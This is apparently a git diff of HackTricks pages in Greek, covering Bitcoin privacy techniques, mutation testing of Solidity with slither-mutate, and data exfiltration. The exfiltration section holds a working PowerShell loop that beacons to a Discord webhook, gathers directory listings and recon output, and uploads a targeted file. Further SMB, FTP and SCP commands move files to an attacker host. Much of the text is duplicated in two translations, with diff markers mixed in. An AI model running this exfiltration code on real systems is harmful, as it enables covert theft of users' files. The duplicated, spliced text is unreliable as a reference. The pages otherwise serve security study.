- **Amount & Timing Correlations:** Disclosing transaction times or amounts can make transactions traceable.
- **Exact Payment Amounts:** Οι transactions χωρίς change είναι πιθανό να γίνονται μεταξύ δύο διευθύνσεων που ανήκουν στον ίδιο χρήστη.
- **Round Numbers:** Ένας round αριθμός σε μια transaction υποδηλώνει ότι είναι μια πληρωμή, με το μη-round output πιθανότατα να είναι το change.
- **Wallet Fingerprinting:** Διαφορετικά wallets έχουν μοναδικά μοτίβα δημιουργίας transactions, επιτρέποντας σε analysts να αναγνωρίσουν το χρησιμοποιούμενο software και πιθανώς τη change address.
- **Amount & Timing Correlations:** Η αποκάλυψη των χρόνων ή των ποσών των transactions μπορεί να κάνει τις transactions ιχνηλάσιμες.
## **Traffic Analysis**
Παρακολουθώντας την κυκλοφορία στο δίκτυο, οι επιτιθέμενοι μπορούν ενδεχομένως να συνδέσουν συναλλαγές ή blocks με διευθύνσεις IP, θέτοντας σε κίνδυνο το ιδιωτικό απόρρητο των χρηστών. Αυτό είναι ιδιαίτερα πιθανό αν ένας φορέας λειτουργεί πολλούς Bitcoin nodes, ενισχύοντας την ικανότητά του να παρακολουθεί τις συναλλαγές.
Παρακολουθώντας το network traffic, attackers μπορούν ενδεχομένως να συνδέσουν transactions ή blocks με IP addresses, υπονομεύοντας την ιδιωτικότητα του χρήστη. Αυτό ισχύει ιδιαίτερα αν ένας φορέας λειτουργεί πολλούς Bitcoin nodes, βελτιώνοντας την ικανότητά του να παρακολουθεί transactions.
## Περισσότερα
## More
Για μια ολοκληρωμένη λίστα επιθέσεων στην ιδιωτικότητα και μέτρων άμυνας, επισκεφθείτε [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
Για μια ολοκληρωμένη λίστα επιθέσεων και αμυνών για την ιδιωτικότητα, επισκεφθείτε [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
# Anonymous Bitcoin Transactions
## Τρόποι Απόκτησης Bitcoins Ανώνυμα
## Ways to Get Bitcoins Anonymously
- **Cash Transactions**: Απόκτηση bitcoin με μετρητά.
- **Cash Alternatives**: Αγορά gift cards και ανταλλαγή τους online για bitcoin.
- **Mining**: Η πιο ιδιωτική μέθοδος για να κερδίσει κανείς bitcoins είναι μέσω mining, ειδικά όταν γίνεται solo, γιατί τα mining pools μπορεί να γνωρίζουν τη διεύθυνση IP του miner. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **Theft**: Θεωρητικά, η κλοπή bitcoin θα μπορούσε να είναι ένας άλλος τρόπος να αποκτηθεί ανώνυμα, αν και είναι παράνομο και δεν συνιστάται.
- **Mining**: Η πιο ιδιωτική μέθοδος απόκτησης bitcoins είναι μέσω mining, ειδικά όταν γίνεται solo, επειδή τα mining pools μπορεί να γνωρίζουν το IP address του miner. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **Theft**: Θεωρητικά, η κλοπή bitcoin θα μπορούσε να είναι άλλη μια μέθοδος για να τα αποκτήσει κανείς ανώνυμα, αν και είναι παράνομη και δεν συστήνεται.
## Mixing Services
Χρησιμοποιώντας μια mixing service, ένας χρήστης μπορεί να **στείλει bitcoins** και να λάβει **διαφορετικά bitcoins ως αντάλλαγμα**, καθιστώντας δύσκολη την ανίχνευση του αρχικού ιδιοκτήτη. Ωστόσο, αυτό απαιτεί εμπιστοσύνη στην υπηρεσία ότι δεν κρατάει logs και ότι θα επιστρέψει όντως τα bitcoins. Εναλλακτικές επιλογές mixing περιλαμβάνουν Bitcoin casinos.
Χρησιμοποιώντας ένα mixing service, ένας χρήστης μπορεί **send bitcoins** και να λάβει **different bitcoins in return**, κάτι που δυσκολεύει την ανίχνευση του αρχικού ιδιοκτήτη. Ωστόσο, αυτό απαιτεί εμπιστοσύνη στην υπηρεσία να μην κρατά logs και να επιστρέψει όντως τα bitcoins. Εναλλακτικές επιλογές mixing περιλαμβάνουν τα Bitcoin casinos.
## CoinJoin
Η CoinJoin συγχωνεύει πολλαπλές συναλλαγές από διαφορετικούς χρήστες σε μία, δυσχεραίνοντας τη διαδικασία για όποιον προσπαθεί να αντιστοιχίσει inputs με outputs. Παρόλη την αποτελεσματικότητά της, συναλλαγές με μοναδικά μεγέθη inputs και outputs μπορούν ακόμα δυνητικά να εντοπιστούν.
Το CoinJoin συγχωνεύει πολλαπλές transactions από διαφορετικούς users σε μία, δυσκολεύοντας τη διαδικασία για οποιονδήποτε προσπαθεί να αντιστοιχίσει inputs με outputs. Παρά την αποτελεσματικότητά του, transactions με μοναδικά μεγέθη inputs και outputs μπορούν ακόμη να ιχνηλατηθούν.
Παραδείγματα συναλλαγών που μπορεί να χρησιμοποίησαν CoinJoin περιλαμβάνουν `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` και `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
Παραδείγματα transactions που μπορεί να έχουν χρησιμοποιήσει CoinJoin περιλαμβάνουν `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` και `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
Για περισσότερες πληροφορίες, επισκεφθείτε [CoinJoin](https://coinjoin.io/en). Για μια παρόμοια υπηρεσία στο Ethereum, δείτε [Tornado Cash](https://tornado.cash), που ανωνυμοποιεί συναλλαγές με κεφάλαια από miners.
For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners.
## PayJoin
Μια παραλλαγή της CoinJoin, η **PayJoin** (ή P2EP), συγκαλύπτει τη συναλλαγή μεταξύ δύο μερών (π.χ. πελάτη και εμπόρου) ως μια κανονική συναλλαγή, χωρίς τα χαρακτηριστικά ίσα outputs που έχει η CoinJoin. Αυτό την καθιστά εξαιρετικά δύσκολη στην ανίχνευση και μπορεί να αναιρέσει την heuristic common-input-ownership που χρησιμοποιούν οι οντότητες επιτήρησης συναλλαγών.
A variant of CoinJoin, **PayJoin** (or P2EP), disguises the transaction among two parties (e.g., a customer and a merchant) as a regular transaction, without the distinctive equal outputs characteristic of CoinJoin. This makes it extremely hard to detect and could invalidate the common-input-ownership heuristic used by transaction surveillance entities.
```plaintext
2 btc --> 3 btc
5 btc 4 btc
```
Οι συναλλαγές όπως η παραπάνω θα μπορούσαν να είναι PayJoin, βελτιώνοντας το απόρρητο ενώ παραμένουν χωρίς να διακρίνονται από τις συνηθισμένες bitcoin συναλλαγές.
Συναλλαγές όπως η παραπάνω μπορεί να είναι PayJoin, ενισχύοντας την ιδιωτικότητα ενώ παραμένουν αδιαχώριστες από standard bitcoin συναλλαγές.
**Η χρήση του PayJoin θα μπορούσε να διαταράξει σημαντικά τις παραδοσιακές μεθόδους παρακολούθησης**, καθιστώντας το μια πολλά υποσχόμενη εξέλιξη στην επιδίωξη του απορρήτου των συναλλαγών.
**Η χρήση του PayJoin θα μπορούσε να διαταράξει σημαντικά τις παραδοσιακές μεθόδους επιτήρησης**, καθιστώντας το μια ελπιδοφόρα εξέλιξη για την επιδίωξη της ιδιωτικότητας στις συναλλαγές.
# Βέλτιστες Πρακτικές για το Απόρρητο στις Κρυπτονομίσματα
# Καλύτερες Πρακτικές για την Ιδιωτικότητα στα Κρυπτονομίσματα
## **Τεχνικές Συγχρονισμού Πορτοφολιών**
Για τη διατήρηση του απορρήτου και της ασφάλειας, ο συγχρονισμός των πορτοφολιών με το blockchain είναι κρίσιμος. Δύο μέθοδοι ξεχωρίζουν:
Για τη διατήρηση της ιδιωτικότητας και της ασφάλειας, ο συγχρονισμός των πορτοφολιών με το blockchain είναι κρίσιμος. Δύο μέθοδοι ξεχωρίζουν:
- **Full node**: Κατεβάζοντας ολόκληρο το blockchain, ένας full node εξασφαλίζει μέγιστο απόρρητο. Όλες οι συναλλαγές που έγιναν ποτέ αποθηκεύονται τοπικά, κάνοντας αδύνατο για αντιπάλους να εντοπίσουν ποιες συναλλαγές ή διευθύνσεις ενδιαφέρουν τον χρήστη.
- **Client-side block filtering**: Αυτή η μέθοδος περιλαμβάνει τη δημιουργία φίλτρων για κάθε block στο blockchain, επιτρέποντας στα πορτοφόλια να εντοπίζουν σχετικές συναλλαγές χωρίς να εκθέτουν συγκεκριμένα ενδιαφέροντα στους παρατηρητές του δικτύου. Lightweight wallets κατεβάζουν αυτά τα φίλτρα, ανακτώντας πλήρη blocks μόνο όταν βρεθεί ταύτιση με τις διευθύνσεις του χρήστη.
- **Full node**: Κατεβάζοντας ολόκληρο το blockchain, ένα Full node διασφαλίζει μέγιστη ιδιωτικότητα. Όλες οι συναλλαγές που έχουν γίνει αποθηκεύονται τοπικά, καθιστώντας αδύνατο για αντιπάλους να προσδιορίσουν ποιες συναλλαγές ή διευθύνσεις ενδιαφέρουν τον χρήστη.
- **Client-side block filtering**: Αυτή η μέθοδος περιλαμβάνει τη δημιουργία φίλτρων για κάθε μπλοκ στο blockchain, επιτρέποντας στα πορτοφόλια να εντοπίζουν σχετικές συναλλαγές χωρίς να αποκαλύπτουν συγκεκριμένα ενδιαφέροντα σε παρατηρητές του δικτύου. Τα lightweight wallets κατεβάζουν αυτά τα φίλτρα, ανακτώντας πλήρη μπλοκ μόνο όταν βρεθεί ταύτιση με τις διευθύνσεις του χρήστη.
## **Χρήση του Tor για Ανωνυμία**
Δεδομένου ότι Bitcoin λειτουργεί σε ένα peer-to-peer δίκτυο, συνιστάται η χρήση του Tor για να αποκρύψετε τη διεύθυνση IP σας, ενισχύοντας το απόρρητο κατά την αλληλεπίδραση με το δίκτυο.
Δεδομένου ότι το Bitcoin λειτουργεί σε peer-to-peer δίκτυο, συνιστάται η χρήση του Tor για απόκρυψη της διεύθυνσης IP, βελτιώνοντας την ιδιωτικότητα κατά την αλληλεπίδραση με το δίκτυο.
## **Αποτροπή Επαναχρήσης Διευθύνσεων**
## **Αποφυγή Επανάχρησης Διευθύνσεων**
Για την προστασία του απορρήτου, είναι ζωτικής σημασίας να χρησιμοποιείτε μια νέα διεύθυνση για κάθε συναλλαγή. Η επαναχρησιμοποίηση διευθύνσεων μπορεί να θέσει σε κίνδυνο το απόρρητο συνδέοντας συναλλαγές με την ίδια οντότητα. Τα σύγχρονα πορτοφόλια αποθαρρύνουν την επαναχρησιμοποίηση διευθύνσεων μέσω του σχεδιασμού τους.
Για την προστασία της ιδιωτικότητας, είναι ζωτικής σημασίας να χρησιμοποιείται μια νέα διεύθυνση για κάθε συναλλαγή. Η επανάχρηση διευθύνσεων μπορεί να θέσει σε κίνδυνο την ιδιωτικότητα συνδέοντας συναλλαγές με το ίδιο πρόσωπο. Τα σύγχρονα πορτοφόλια αποθαρρύνουν την επανάχρηση διευθύνσεων μέσω του σχεδιασμού τους.
## **Στρατηγικές για το Απόρρητο των Συναλλαγών**
## **Στρατηγικές για την Ιδιωτικότητα Συναλλαγών**
- **Multiple transactions**: Ο διαχωρισμός μιας πληρωμής σε πολλές συναλλαγές μπορεί να θολώσει το ποσό της συναλλαγής, αποτρέποντας επιθέσεις κατά του απορρήτου.
- **Change avoidance**: Η επιλογή συναλλαγών που δεν απαιτούν change outputs ενισχύει το απόρρητο διαταράσσοντας τις μεθόδους ανίχνευσης change.
- **Multiple change outputs**: Εάν η αποφυγή change δεν είναι εφικτή, η δημιουργία πολλαπλών change outputs μπορεί ακόμα να βελτιώσει το απόρρητο.
- **Multiple transactions**: Η διάσπαση μιας πληρωμής σε πολλές συναλλαγές μπορεί να συγκαλύψει το ποσό της συναλλαγής, αποτρέποντας επιθέσεις στην ιδιωτικότητα.
- **Change avoidance**: Η επιλογή συναλλαγών που δεν απαιτούν change outputs ενισχύει την ιδιωτικότητα διαταράσσοντας τις μεθόδους ανίχνευσης αλλαγής.
- **Multiple change outputs**: Εάν η αποφυγή αλλαγής δεν είναι εφικτή, η δημιουργία πολλαπλών change outputs μπορεί ακόμα να βελτιώσει την ιδιωτικότητα.
# **Monero: Φάρος Ανωνυμίας**
Monero καλύπτει την ανάγκη για απόλυτη ανωνυμία στις ψηφιακές συναλλαγές, θέτοντας ένα υψηλό πρότυπο για το απόρρητο.
Το Monero ανταποκρίνεται στην ανάγκη για απόλυτη ανωνυμία στις ψηφιακές συναλλαγές, θέτοντας υψηλό πρότυπο για την ιδιωτικότητα.
# **Ethereum: Gas and Transactions**
# **Ethereum: Gas και Συναλλαγές**
## **Κατανόηση του Gas**
Το Gas μετρά την υπολογιστική προσπάθεια που απαιτείται για την εκτέλεση λειτουργιών στο Ethereum, τιμολογείται σε **gwei**. Για παράδειγμα, μια συναλλαγή που κοστίζει 2,310,000 gwei (ή 0.00231 ETH) περιλαμβάνει ένα gas limit και ένα base fee, μαζί με ένα tip για να παρακινήσει τους miners. Οι χρήστες μπορούν να ορίσουν ένα max fee για να εξασφαλίσουν ότι δεν θα πληρώσουν υπερβολικά, με την περίσσεια να επιστρέφεται.
Το Gas μετρά την υπολογιστική προσπάθεια που απαιτείται για την εκτέλεση λειτουργιών στο Ethereum, τιμολογείται σε **gwei**. Για παράδειγμα, μια συναλλαγή που κοστίζει 2,310,000 gwei (ή 0.00231 ETH) περιλαμβάνει ένα gas limit και ένα base fee, με ένα tip για να παρακινήσει τους miners. Οι χρήστες μπορούν να ορίσουν ένα max fee για να μην πληρώσουν υπερβολικά, με την περίσσεια να επιστρέφεται.
## **Εκτέλεση Συναλλαγών**
Οι συναλλαγές στο Ethereum περιλαμβάνουν έναν αποστολέα και έναν παραλήπτη, που μπορούν να είναι είτε διευθύνσεις χρηστών είτε smart contract. Απαιτούν ένα τέλος και πρέπει να εξορυχθούν (mined). Βασικές πληροφορίες σε μια συναλλαγή περιλαμβάνουν τον παραλήπτη, την υπογραφή του αποστολέα, την αξία, προαιρετικά δεδομένα, το gas limit και τα τέλη. Σημειωτέον, η διεύθυνση του αποστολέα προκύπτει από την υπογραφή, εξαλείφοντας την ανάγκη να περιλαμβάνεται στα δεδομένα της συναλλαγής.
Οι συναλλαγές στο Ethereum περιλαμβάνουν έναν αποστολέα και έναν παραλήπτη, που μπορεί να είναι είτε διευθύνσεις χρηστών είτε smart contract. Απαιτούν αμοιβή και πρέπει να γίνουν mined. Βασικές πληροφορίες σε μια συναλλαγή περιλαμβάνουν τον παραλήπτη, την υπογραφή του αποστολέα, την αξία, προαιρετικά δεδομένα, το gas limit και τα fees. Σημειωτέον, η διεύθυνση του αποστολέα προκύπτει από την υπογραφή, εξαλείφοντας την ανάγκη να συμπεριληφθεί στα δεδομένα της συναλλαγής.
Αυτές οι πρακτικές και μηχανισμοί είναι θεμελιώδεις για οποιονδήποτε επιθυμεί να ασχοληθεί με κρυπτονομίσματα δίνοντας προτεραιότητα στο απόρρητο και την ασφάλεια.
Αυτές οι πρακτικές και μηχανισμοί είναι θεμελιώδεις για όποιον επιθυμεί να ασχοληθεί με κρυπτονομίσματα δίνοντας προτεραιότητα στην ιδιωτικότητα και την ασφάλεια.
## References
## Ασφάλεια Smart Contract
- Mutation testing to find blind spots in test suites:
{{#ref}}
../smart-contract-security/mutation-testing-with-slither.md
{{#endref}}
## Αναφορές
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)
@ -181,9 +189,9 @@ Monero καλύπτει την ανάγκη για απόλυτη ανωνυμί
- [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
- [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse)
## DeFi/AMM Exploitation
## Εκμετάλλευση DeFi/AMM
Εάν ερευνάτε πρακτική εκμετάλλευση των DEXes και AMMs (Uniswap v4 hooks, rounding/precision abuse, flashloan amplified thresholdcrossing swaps), δείτε:
Αν ερευνάτε πρακτική εκμετάλλευση των DEXes και AMMs (Uniswap v4 hooks, rounding/precision abuse, flashloan amplified thresholdcrossing swaps), δείτε:
{{#ref}}
defi-amm-hook-precision.md

View File

@ -0,0 +1,116 @@
# Mutation Testing for Solidity with Slither (slither-mutate)
{{#include ../../../banners/hacktricks-training.md}}
Mutation testing "δοκιμάζει τα tests σου" εισάγοντας συστηματικά μικρές αλλαγές (mutants) στον κώδικα Solidity σου και επανεκτελώντας το test suite σου. Αν ένα test αποτύχει, το mutant "πεθαίνει". Αν τα tests συνεχίσουν να περνούν, το mutant επιβιώνει, αποκαλύπτοντας ένα τυφλό σημείο στο test suite σου που το line/branch coverage δεν μπορεί να εντοπίσει.
Βασική ιδέα: Η κάλυψη δείχνει ότι ο κώδικας εκτελέστηκε· το Mutation testing δείχνει αν η συμπεριφορά έχει πραγματικά επιβεβαιωθεί.
## Why coverage can deceive
Εξετάστε αυτόν τον απλό έλεγχο ορίου:
```solidity
function verifyMinimumDeposit(uint256 deposit) public returns (bool) {
if (deposit >= 1 ether) {
return true;
} else {
return false;
}
}
```
Τα unit tests που μόνο ελέγχουν μια τιμή κάτω και μια τιμή πάνω από το όριο μπορούν να φτάσουν 100% κάλυψη γραμμών/κλάδων ενώ αποτυγχάνουν να ελέγξουν το σύνορο ισότητας (==). Μια αλλαγή σε `deposit >= 2 ether` θα περνούσε ακόμα τέτοια tests, σιωπηρά σπάζοντας τη λογική του πρωτοκόλλου.
Το mutation testing αποκαλύπτει αυτό το κενό μεταλλάσσοντας τη συνθήκη και επαληθεύοντας ότι τα tests σας αποτυγχάνουν.
## Common Solidity mutation operators
Η mutation engine του Slither εφαρμόζει πολλές μικρές τροποποιήσεις που αλλάζουν τη σημασιολογία, όπως:
- Αντικατάσταση τελεστή: `+``-`, `*``/`, etc.
- Αντικατάσταση ανάθεσης: `+=``=`, `-=``=`
- Αντικατάσταση σταθερών: non-zero → `0`, `true``false`
- Άρνηση/αντικατάσταση συνθήκης μέσα σε `if`/βρόχους
- Σχολιασμός ολόκληρων γραμμών (CR: Comment Replacement)
- Αντικατάσταση μιας γραμμής με `revert()`
- Ανταλλαγή τύπων δεδομένων: π.χ. `int128``int64`
Στόχος: Να εξουδετερωθεί το 100% των παραγόμενων mutants, ή να δικαιολογηθούν οι επιζώντες με σαφή αιτιολόγηση.
## Running mutation testing with slither-mutate
Απαιτήσεις: Slither v0.10.2+.
- Εμφάνιση επιλογών και mutators:
```bash
slither-mutate --help
slither-mutate --list-mutators
```
- Foundry παράδειγμα (καταγράψτε τα αποτελέσματα και κρατήστε πλήρες αρχείο καταγραφής):
```bash
slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results)
```
- Αν δεν χρησιμοποιείτε Foundry, αντικαταστήστε το `--test-cmd` με τον τρόπο που τρέχετε τα tests (π.χ., `npx hardhat test`, `npm test`).
Τα αρχεία και οι αναφορές αποθηκεύονται στο `./mutation_campaign` από προεπιλογή. Οι μη ανιχνευθέντες (επιζώντες) mutants αντιγράφονται εκεί για επιθεώρηση.
### Κατανόηση της εξόδου
Οι γραμμές της αναφοράς μοιάζουν με:
```text
INFO:Slither-Mutate:Mutating contract ContractName
INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT
```
- Η ετικέτα σε αγκύλες είναι το mutator alias (π.χ., `CR` = Comment Replacement).
- `UNCAUGHT` σημαίνει ότι τα tests πέρασαν υπό τη μεταβλημένη συμπεριφορά → λείπει assertion.
## Μείωση χρόνου εκτέλεσης: προτεραιοποίηση σημαντικών mutants
Mutation campaigns μπορεί να διαρκέσουν ώρες ή μέρες. Συμβουλές για μείωση κόστους:
- Scope: Ξεκινήστε μόνο με κρίσιμα contracts/directories, και μετά επεκταθείτε.
- Prioritize mutators: Αν ένας high-priority mutant σε μια γραμμή επιβιώσει (π.χ., ολόκληρη γραμμή σχολιασμένη), μπορείτε να παραλείψετε lower-priority παραλλαγές για εκείνη τη γραμμή.
- Parallelize tests αν ο runner σας το επιτρέπει; cache dependencies/builds.
- Fail-fast: σταματήστε νωρίς όταν μια αλλαγή δείχνει σαφώς έλλειμμα σε assertions.
## Διαδικασία triage για τους επιζώντες mutants
1) Εξετάστε τη μεταβλημένη γραμμή και τη συμπεριφορά.
- Αναπαράγετε το τοπικά εφαρμόζοντας τη μεταβλημένη γραμμή και τρέχοντας ένα focused test.
2) Ενισχύστε τα tests ώστε να assert-άρουν την κατάσταση, όχι μόνο τιμές επιστροφής.
- Προσθέστε ελέγχους ισότητας/ορίων (π.χ., test threshold `==`).
- Assert post-conditions: υπόλοιπα, συνολική προσφορά, επιπτώσεις εξουσιοδότησης, και εκπεμπόμενα events.
3) Αντικαταστήστε υπερβολικά επιεικείς mocks με ρεαλιστική συμπεριφορά.
- Διασφαλίστε ότι τα mocks επιβάλλουν transfers, failure paths και event emissions που συμβαίνουν on-chain.
4) Προσθέστε invariants για fuzz tests.
- Π.χ., διατήρηση αξίας, μη-αρνητικά υπόλοιπα, invariants εξουσιοδότησης, και μονοτονική προσφορά όπου εφαρμόζεται.
5) Εκτελέστε ξανά slither-mutate μέχρι οι επιζώντες να εξουδετερωθούν ή να δικαιολογηθούν ρητά.
## Μελέτη περίπτωσης: αποκάλυψη ελλείψεων σε assertions κατάστασης (Arkis protocol)
Μια mutation campaign κατά τη διάρκεια ενός audit του Arkis DeFi protocol ανέδειξε επιζώντες όπως:
```text
INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT
```
Το σχολιασμός της ανάθεσης δεν έσπασε τα tests, αποδεικνύοντας την απουσία post-state assertions. Κύρια αιτία: ο κώδικας εμπιστεύτηκε μια τιμή ελεγχόμενη από χρήστη `_cmd.value` αντί να επαληθεύσει τις πραγματικές μεταφορές token. Ένας επιτιθέμενος θα μπορούσε να αποσυντονίσει τις αναμενόμενες από τις πραγματικές μεταφορές και να στραγγίξει κεφάλαια. Αποτέλεσμα: κίνδυνος υψηλής σοβαρότητας για τη φερεγγυότητα του πρωτοκόλλου.
Κατευθυντήρια: Θεωρήστε τους επιζώντες που επηρεάζουν μεταφορές αξίας, λογιστική ή έλεγχο πρόσβασης ως υψηλού κινδύνου μέχρι να εξουδετερωθούν.
## Πρακτικός κατάλογος ελέγχου
- Run a targeted campaign:
- `slither-mutate ./src/contracts --test-cmd="forge test"`
- Κατηγοριοποιήστε τους επιζώντες και γράψτε tests/invariants που θα αποτύχουν υπό τη μεταλλαγμένη συμπεριφορά.
- Επαληθεύστε υπόλοιπα, συνολική προσφορά, εξουσιοδοτήσεις και συμβάντα.
- Προσθέστε boundary tests (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
- Αντικαταστήστε μη ρεαλιστικά mocks· προσομοιώστε failure modes.
- Επαναλάβετε μέχρι όλοι οι mutants να εξουδετερωθούν ή να δικαιολογηθούν με σχόλια και αιτιολόγηση.
## References
- [Use mutation testing to find the bugs your tests don't catch (Trail of Bits)](https://blog.trailofbits.com/2025/09/18/use-mutation-testing-to-find-the-bugs-your-tests-dont-catch/)
- [Arkis DeFi Prime Brokerage Security Review (Appendix C)](https://github.com/trailofbits/publications/blob/master/reviews/2024-12-arkis-defi-prime-brokerage-securityreview.pdf)
- [Slither (GitHub)](https://github.com/crytic/slither)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,12 +1,12 @@
# Εξαγωγή
# Exfiltration
{{#include ../banners/hacktricks-training.md}}
## Συνήθεις τομείς που έχουν επιτραπεί για την εξαγωγή πληροφοριών
## Commonly whitelisted domains to exfiltrate information
Ελέγξτε [https://lots-project.com/](https://lots-project.com/) για να βρείτε συνήθεις τομείς που μπορούν να καταχραστούν
Ελέγξτε [https://lots-project.com/](https://lots-project.com/) για να βρείτε συνηθισμένους whitelisted domains που μπορούν να χρησιμοποιηθούν κακόβουλα
## Αντιγραφή\&Επικόλληση Base64
## Copy\&Paste Base64
**Linux**
```bash
@ -42,11 +42,11 @@ Start-BitsTransfer -Source $url -Destination $output
#OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
```
### Αποστολή αρχείων
### Μεταφόρτωση αρχείων
- [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)
- [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
- Python module [uploadserver](https://pypi.org/project/uploadserver/):
- Μονάδα Python [uploadserver](https://pypi.org/project/uploadserver/):
```bash
# Listen to files
python3 -m pip install --user uploadserver
@ -100,9 +100,94 @@ if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
###
```
## Webhooks (Discord/Slack/Teams) for C2 & Data Exfiltration
Τα Webhooks είναι write-only HTTPS endpoints που δέχονται JSON και προαιρετικά file parts. Συχνά επιτρέπονται προς αξιόπιστα SaaS domains και δεν απαιτούν OAuth/API keys, καθιστώντας τα χρήσιμα για low-friction beaconing και exfiltration.
Key ideas:
- Endpoint: Discord uses https://discord.com/api/webhooks/<id>/<token>
- POST multipart/form-data with a part named payload_json containing {"content":"..."} and optional file part(s) named file.
- Operator loop pattern: periodic beacon -> directory recon -> targeted file exfil -> recon dump -> sleep. HTTP 204 NoContent/200 OK confirm delivery.
PowerShell PoC (Discord):
```powershell
# 1) Configure webhook and optional target file
$webhook = "https://discord.com/api/webhooks/YOUR_WEBHOOK_HERE"
$target = Join-Path $env:USERPROFILE "Documents\SENSITIVE_FILE.bin"
# 2) Reuse a single HttpClient
$client = [System.Net.Http.HttpClient]::new()
function Send-DiscordText {
param([string]$Text)
$payload = @{ content = $Text } | ConvertTo-Json -Compress
$jsonContent = New-Object System.Net.Http.StringContent($payload, [System.Text.Encoding]::UTF8, "application/json")
$mp = New-Object System.Net.Http.MultipartFormDataContent
$mp.Add($jsonContent, "payload_json")
$resp = $client.PostAsync($webhook, $mp).Result
Write-Host "[Discord] text -> $($resp.StatusCode)"
}
function Send-DiscordFile {
param([string]$Path, [string]$Name)
if (-not (Test-Path $Path)) { return }
$bytes = [System.IO.File]::ReadAllBytes($Path)
$fileContent = New-Object System.Net.Http.ByteArrayContent(,$bytes)
$fileContent.Headers.ContentType = [System.Net.Http.Headers.MediaTypeHeaderValue]::Parse("application/octet-stream")
$json = @{ content = ":package: file exfil: $Name" } | ConvertTo-Json -Compress
$jsonContent = New-Object System.Net.Http.StringContent($json, [System.Text.Encoding]::UTF8, "application/json")
$mp = New-Object System.Net.Http.MultipartFormDataContent
$mp.Add($jsonContent, "payload_json")
$mp.Add($fileContent, "file", $Name)
$resp = $client.PostAsync($webhook, $mp).Result
Write-Host "[Discord] file $Name -> $($resp.StatusCode)"
}
# 3) Beacon/recon/exfil loop
$ctr = 0
while ($true) {
$ctr++
# Beacon
$beacon = "━━━━━━━━━━━━━━━━━━`n:satellite: Beacon`n```User: $env:USERNAME`nHost: $env:COMPUTERNAME```"
Send-DiscordText -Text $beacon
# Every 2nd: quick folder listing
if ($ctr % 2 -eq 0) {
$dirs = @("Documents","Desktop","Downloads","Pictures")
$acc = foreach ($d in $dirs) {
$p = Join-Path $env:USERPROFILE $d
$items = Get-ChildItem -Path $p -ErrorAction SilentlyContinue | Select-Object -First 3 -ExpandProperty Name
if ($items) { "`n$d:`n - " + ($items -join "`n - ") }
}
Send-DiscordText -Text (":file_folder: **User Dirs**`n━━━━━━━━━━━━━━━━━━`n```" + ($acc -join "") + "```")
}
# Every 3rd: targeted exfil
if ($ctr % 3 -eq 0) { Send-DiscordFile -Path $target -Name ([IO.Path]::GetFileName($target)) }
# Every 4th: basic recon
if ($ctr % 4 -eq 0) {
$who = whoami
$ip = ipconfig | Out-String
$tmp = Join-Path $env:TEMP "recon.txt"
"whoami:: $who`r`nIPConfig::`r`n$ip" | Out-File -FilePath $tmp -Encoding utf8
Send-DiscordFile -Path $tmp -Name "recon.txt"
}
Start-Sleep -Seconds 20
}
```
Σημειώσεις:
- Παρόμοια μοτίβα ισχύουν για άλλες πλατφόρμες συνεργασίας (Slack/Teams) που χρησιμοποιούν incoming webhooks· προσαρμόστε το URL και το JSON schema ανάλογα.
- Για DFIR των artifacts της cache του Discord Desktop και ανάκτηση webhook/API, δείτε:
{{#ref}}
../generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/discord-cache-forensics.md
{{#endref}}
## FTP
### FTP server (python)
### FTP διακομιστής (python)
```bash
pip3 install pyftpdlib
python3 -m pyftpdlib -p 21
@ -112,7 +197,7 @@ python3 -m pyftpdlib -p 21
sudo npm install -g ftp-srv --save
ftp-srv ftp://0.0.0.0:9876 --root /tmp
```
### FTP server (pure-ftp)
### FTP διακομιστής (pure-ftp)
```bash
apt-get update && apt-get install pure-ftp
```
@ -143,14 +228,14 @@ ftp -n -v -s:ftp.txt
```
## SMB
Kali ως διακομιστής
Kali ως server
```bash
kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
#For new Win10 versions
impacket-smbserver -smb2support -user test -password test test `pwd`
```
Ή δημιουργήστε ένα smb share **using samba**:
Ή δημιούργησε ένα smb share **χρησιμοποιώντας samba**:
```bash
apt-get install samba
mkdir /tmp/smb
@ -175,13 +260,13 @@ WindPS-2> cd new_disk:
```
## SCP
Ο επιτιθέμενος πρέπει να έχει το SSHd σε λειτουργία.
Ο επιτιθέμενος πρέπει να έχει SSHd ενεργό.
```bash
scp <username>@<Attacker_IP>:<directory>/<filename>
```
## SSHFS
Αν το θύμα έχει SSH, ο επιτιθέμενος μπορεί να προσαρτήσει έναν φάκελο από το θύμα στον επιτιθέμενο.
